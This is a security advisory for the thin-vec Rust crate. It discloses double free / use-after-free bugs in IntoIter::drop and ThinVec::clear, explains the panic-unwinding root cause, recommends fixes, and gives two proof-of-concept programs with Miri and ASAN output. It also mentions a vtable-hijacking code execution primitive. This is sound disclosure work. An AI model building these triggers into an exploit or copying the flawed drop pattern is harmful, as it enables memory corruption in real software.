GHSA-XPHW-CQX3-667J
Vulnerability from github – Published: 2026-04-15 19:24 – Updated: 2026-04-15 19:24Summary
A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate.
Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required.
Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).
Details
Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).
Vulnerability 1 — IntoIter::drop
Location: thin-vec/src/lib.rs L.2308~2314
IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place.
If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements.
The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.
// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
fn drop(&mut self) {
let mut vec = mem::replace(&mut self.vec, ThinVec::new());
unsafe {
ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
vec.set_len_non_singleton(0); // ← unreachable on panic
}
// During unwinding, vec is dropped again → Double Free
}
}
Vulnerability 2 — ThinVec::clear
clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length.
If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.
// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
unsafe {
ptr::drop_in_place(&mut self[..]); // ← panic may occur here
self.set_len(0); // ← unreachable on panic
}
// ThinVec drop later → Double Free
}
Recommended Fix
Both vulnerabilities can be resolved with the same pattern:
- DropGuard pattern: Insert an RAII guard before
drop_in_placeto guaranteeset_len(0)is called regardless of panic - Pre-zeroing approach: Set the length to 0 before calling
drop_in_place
PoC
Requirements: Rust nightly toolchain, thin-vec = "0.2.14"
# Miri
cargo +nightly miri run
# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release
PoC-1: IntoIter::drop
use thin_vec::ThinVec;
struct PanicBomb(String);
impl Drop for PanicBomb {
fn drop(&mut self) {
if self.0 == "panic" {
panic!("panic!");
}
println!("Dropping: {}", self.0);
}
}
fn main() {
let mut v = ThinVec::new();
v.push(PanicBomb(String::from("normal1")));
v.push(PanicBomb(String::from("panic"))); // trigger element
v.push(PanicBomb(String::from("normal2")));
let mut iter = v.into_iter();
iter.next();
// When iter is dropped: panic occurs at "panic" element
// → During unwinding, Double Drop is triggered on "normal1" (already freed)
}
Miri output:
error: Undefined Behavior: pointer not dereferenceable:
alloc227 has been freed, so this pointer is dangling
stack backtrace:
3: <PanicBomb as Drop>::drop ← Double Drop entry
6: <ThinVec<T> as Drop>::drop::drop_non_singleton
9: <IntoIter<T> as Drop>::drop::drop_non_singleton ← lib.rs:2310 (root cause)
ASAN output:
==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
#0 memcpy
#4 drop_in_place::<PanicBomb> ← Double Drop entry point
#5 <ThinVec as Drop>::drop::drop_non_singleton
#6 <IntoIter as Drop>::drop::drop_non_singleton
PoC-2: ThinVec::clear
use thin_vec::ThinVec;
use std::panic;
struct Poison(Box<usize>, &'static str);
impl Drop for Poison {
fn drop(&mut self) {
if self.1 == "panic" {
panic!("panic!");
}
println!("Dropping: {}", self.0);
}
}
fn main() {
let mut v = ThinVec::new();
v.push(Poison(Box::new(1), "normal1")); // index 0
v.push(Poison(Box::new(2), "panic")); // index 1 → panic triggered here
v.push(Poison(Box::new(3), "normal2")); // index 2
let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
v.clear();
// panic occurs at "panic" element during clear()
// → set_len(0) is never called
// → already-freed elements are re-freed when v goes out of scope
}));
}
Impact
Affected code: All code satisfying the following conditions simultaneously:
ThinVecstores heap-owning types (String,Vec,Box, etc.)- (Vulnerability 1) An iterator is created via
into_iter()and dropped before being fully consumed, or (Vulnerability 2)clear()is called while a remaining element'sDropimplementation can panic - The
Dropimplementation of a remaining element triggers a panic
Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "thin-vec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-415",
"CWE-416"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-15T19:24:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nA **Double Free / Use-After-Free (UAF)** vulnerability has been identified in the `IntoIter::drop` and `ThinVec::clear` implementations of the `thin_vec` crate.\nBoth vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code \u2014 no `unsafe` blocks required.\nUndefined Behavior has been confirmed via **Miri** and **AddressSanitizer (ASAN)**.\n\n---\n\n### Details\n\nBoth vulnerabilities share the same root cause. When a **panic occurs** during sequential element deallocation, the subsequent length cleanup code (`set_len(0)`) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).\n\n#### Vulnerability 1 \u2014 `IntoIter::drop`\n\n**Location:** `thin-vec/src/lib.rs` L.2308~2314\n\n`IntoIter::drop` transfers ownership of the internal buffer via `mem::replace`, then sequentially frees elements via `ptr::drop_in_place`.\nIf a panic occurs during element deallocation, `set_len_non_singleton(0)` is never reached. During unwinding, `vec` is dropped again, re-freeing already-freed elements.\nThe standard library\u0027s `std::vec::IntoIter` prevents this with a **DropGuard pattern**, but thin-vec lacks this defense.\n\n```rust\n// Problematic structure (conceptual representation)\nimpl\u003cT\u003e Drop for IntoIter\u003cT\u003e {\n fn drop(\u0026mut self) {\n let mut vec = mem::replace(\u0026mut self.vec, ThinVec::new());\n unsafe {\n ptr::drop_in_place(vec.remaining_slice_mut()); // \u2190 panic may occur here\n vec.set_len_non_singleton(0); // \u2190 unreachable on panic\n }\n // During unwinding, vec is dropped again \u2192 Double Free\n }\n}\n```\n\n#### Vulnerability 2 \u2014 `ThinVec::clear`\n\n`clear()` calls `ptr::drop_in_place(\u0026mut self[..])` followed by `self.set_len(0)` to reset the length.\nIf a panic occurs during element deallocation, `set_len(0)` is never executed. When the `ThinVec` itself is subsequently dropped, already-freed elements are freed again.\n\n```rust\n// Problematic structure (conceptual representation)\npub fn clear(\u0026mut self) {\n unsafe {\n ptr::drop_in_place(\u0026mut self[..]); // \u2190 panic may occur here\n self.set_len(0); // \u2190 unreachable on panic\n }\n // ThinVec drop later \u2192 Double Free\n}\n```\n\n#### Recommended Fix\n\nBoth vulnerabilities can be resolved with the same pattern:\n\n- **DropGuard pattern:** Insert an RAII guard before `drop_in_place` to guarantee `set_len(0)` is called regardless of panic\n- **Pre-zeroing approach:** Set the length to 0 before calling `drop_in_place`\n\n---\n\n### PoC\n\n**Requirements:** Rust nightly toolchain, `thin-vec = \"0.2.14\"`\n\n```bash\n# Miri\ncargo +nightly miri run\n\n# ASAN\nRUSTFLAGS=\"-Z sanitizer=address\" cargo +nightly run --release\n```\n\n#### PoC-1: `IntoIter::drop`\n\n```rust\nuse thin_vec::ThinVec;\n\nstruct PanicBomb(String);\n\nimpl Drop for PanicBomb {\n fn drop(\u0026mut self) {\n if self.0 == \"panic\" {\n panic!(\"panic!\");\n }\n println!(\"Dropping: {}\", self.0);\n }\n}\n\nfn main() {\n let mut v = ThinVec::new();\n v.push(PanicBomb(String::from(\"normal1\")));\n v.push(PanicBomb(String::from(\"panic\"))); // trigger element\n v.push(PanicBomb(String::from(\"normal2\")));\n\n let mut iter = v.into_iter();\n iter.next();\n // When iter is dropped: panic occurs at \"panic\" element\n // \u2192 During unwinding, Double Drop is triggered on \"normal1\" (already freed)\n}\n```\n\n**Miri output:**\n```\nerror: Undefined Behavior: pointer not dereferenceable:\n alloc227 has been freed, so this pointer is dangling\n\nstack backtrace:\n 3: \u003cPanicBomb as Drop\u003e::drop \u2190 Double Drop entry\n 6: \u003cThinVec\u003cT\u003e as Drop\u003e::drop::drop_non_singleton\n 9: \u003cIntoIter\u003cT\u003e as Drop\u003e::drop::drop_non_singleton \u2190 lib.rs:2310 (root cause)\n```\n\n**ASAN output:**\n```\n==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010\nREAD of size 7 at 0x7afa685e0010\n #0 memcpy\n #4 drop_in_place::\u003cPanicBomb\u003e \u2190 Double Drop entry point\n #5 \u003cThinVec as Drop\u003e::drop::drop_non_singleton\n #6 \u003cIntoIter as Drop\u003e::drop::drop_non_singleton\n```\n\n#### PoC-2: `ThinVec::clear`\n\n```rust\nuse thin_vec::ThinVec;\nuse std::panic;\n\nstruct Poison(Box\u003cusize\u003e, \u0026\u0027static str);\n\nimpl Drop for Poison {\n fn drop(\u0026mut self) {\n if self.1 == \"panic\" {\n panic!(\"panic!\");\n }\n println!(\"Dropping: {}\", self.0);\n }\n}\n\nfn main() {\n let mut v = ThinVec::new();\n v.push(Poison(Box::new(1), \"normal1\")); // index 0\n v.push(Poison(Box::new(2), \"panic\")); // index 1 \u2192 panic triggered here\n v.push(Poison(Box::new(3), \"normal2\")); // index 2\n\n let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {\n v.clear();\n // panic occurs at \"panic\" element during clear()\n // \u2192 set_len(0) is never called\n // \u2192 already-freed elements are re-freed when v goes out of scope\n }));\n}\n```\n\n---\n\n### Impact\n\n**Affected code:** All code satisfying the following conditions simultaneously:\n\n1. `ThinVec` stores heap-owning types (`String`, `Vec`, `Box`, etc.)\n2. (Vulnerability 1) An iterator is created via `into_iter()` and dropped before being fully consumed, or\n (Vulnerability 2) `clear()` is called while a remaining element\u0027s `Drop` implementation can panic\n3. The `Drop` implementation of a remaining element triggers a panic\n\nAdditionally, when combined with `Box\u003cdyn Trait\u003e` types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.",
"id": "GHSA-xphw-cqx3-667j",
"modified": "2026-04-15T19:24:54Z",
"published": "2026-04-15T19:24:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mozilla/thin-vec/security/advisories/GHSA-xphw-cqx3-667j"
},
{
"type": "PACKAGE",
"url": "https://github.com/mozilla/thin-vec"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.